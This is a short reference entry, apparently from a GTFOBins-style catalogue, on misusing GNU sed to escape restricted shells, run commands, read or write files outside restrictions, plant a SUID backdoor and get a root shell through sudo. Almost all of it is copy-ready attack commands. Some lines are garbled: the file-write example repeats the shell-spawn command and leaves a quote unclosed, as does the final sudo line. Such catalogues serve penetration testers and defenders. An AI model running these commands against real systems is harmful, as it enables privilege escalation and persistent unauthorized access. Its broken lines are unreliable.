It can be used to break out from restricted environments by spawning an interactive system shell.
GNU version only. Also, this requires bash
.
sed -n '1e exec sh 1>&0' /etc/hosts
It can be used to break out from restricted environments by running non-interactive system commands.
GNU version only.
sed -n "1e id" /etc/hosts
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_write
sed -n '1e exec sh 1>&0 /etc/hosts
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read
sed '' "$LFILE"
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems
like Debian that allow the default sh
shell to run with SUID privileges.
sudo sh -c 'cp $(which sed) .; chmod +s ./sed'
LFILE=file_to_read
./sed -e '' "$LFILE"
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
GNU version only. Also, this requires bash
.
sudo sed -n '1e exec sh 1>&0 /etc/hosts